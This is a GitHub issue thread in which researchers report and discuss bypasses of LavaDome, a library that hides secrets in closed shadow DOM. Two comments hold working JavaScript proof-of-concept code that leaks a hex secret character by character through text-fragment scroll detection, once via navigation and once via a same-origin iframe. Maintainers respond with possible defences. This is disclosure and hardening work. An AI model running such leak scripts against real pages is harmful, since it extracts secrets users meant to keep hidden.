-
Notifications
You must be signed in to change notification settings - Fork 4
New issue
Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.
By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.
Already on GitHub? Sign in to your account
LavaDome bypass via text fragments #35
Comments
This one is WILD. Any ideas for how to defend against this one? @masatokinugawa @lbherrera |
Hmm, how about placing an SVG image containing the secret inside the closed shadow? like |
SVG was considered originally for obvious reasons, but is currently rejected for making UI/UX integration far harder (as in, natural adaptation of style of the page becomes unnatural). Not saying SVG is a hard-pass, but I would want to consider other options before defaulting to SVG. |
Thinking out loud here: What if I integrated something similar to this: navigation.addEventListener("navigate", (event) => {
if (event.destination.url.includes('#:~:')) {
event.preventDefault();
}
}); Would this be "bypassable" IYO? Because this does prevent the current version of your bypass @masatokinugawa |
It looks like we can put any string between document.querySelector('h1').style.height = "1000px"; // Ensure that scrolling occurs
window.scroll(0, 0);
const sleep = ms => new Promise(r => setTimeout(r, ms));
const secretChars = "0123456789abcdef";
const secretLength = 32;
let foundChars = "";
for (let i = 0; i < secretLength; i++) {
for (let j = 0; j < secretChars.length; j++) {
location=`https://lavamoat.github.io/LavaDome/packages/core/demo/#foo:~:text=This%20is%20a%20secret:-,${foundChars}${secretChars[j]}`;
await sleep(100); // Need to bypass Chrome's hang protection
if (window.scrollY !== 0) {
foundChars += secretChars[j];
console.log(foundChars);
window.scroll(0, 0);
break;
}
}
} |
I'm less worried about that because that's addressable with more resilient identification of such URL search fragments. What I'm worried about is whether there's a core issue with this approach that can be bypassed completely (assuming we find a resilient way to tell a redirect to a "#:~:" is happening) |
Here's a more stable version of what I had in mind with an explanation additionally #38 @masatokinugawa |
I can't think of the bypass, at least for now. It looks good. |
I found that this can be bypassed by copying the element to another iframe (or window). const iframe = document.createElement('iframe');
iframe.src = "404";//arbitrary same-origin page
iframe.onload = async function() {
iframe.onload = null;
const iframeWindow = iframe.contentWindow;
const secretElement = PRIVATE.parentNode;
iframeWindow.document.body.appendChild(secretElement);
iframeWindow.scroll(0, 0);
const sleep = ms => new Promise(r => setTimeout(r, ms));
const secretChars = "0123456789abcdef";
const secretLength = 32;
let foundChars = "";
for (let i = 0; i < secretLength; i++) {
for (let j = 0; j < secretChars.length; j++) {
iframe.src = `404#:~:text=This%20is%20a%20secret:-,${foundChars}${secretChars[j]}`;
await sleep(100); // Need to bypass Chrome's hang protection
if (iframeWindow.scrollY !== 0) {
foundChars += secretChars[j];
console.log(foundChars);
iframeWindow.scroll(0, 0);
break;
}
}
}
}
document.body.appendChild(iframe); It is similar to #39 in that it abuses another window but the crucial difference from #39 is that the leaked data is a secret included in the main realm, not in the child. |
Super helpful. Makes me realize I should probably teach the LavaDome instance to bail when is being attached to a realm that isn't the top. |
I noticed that the text in the closed shadow can be leaked by detecting the scroll caused by text fragments.
This is inspired by an issue found by @lbherrera in one app.
The text was updated successfully, but these errors were encountered: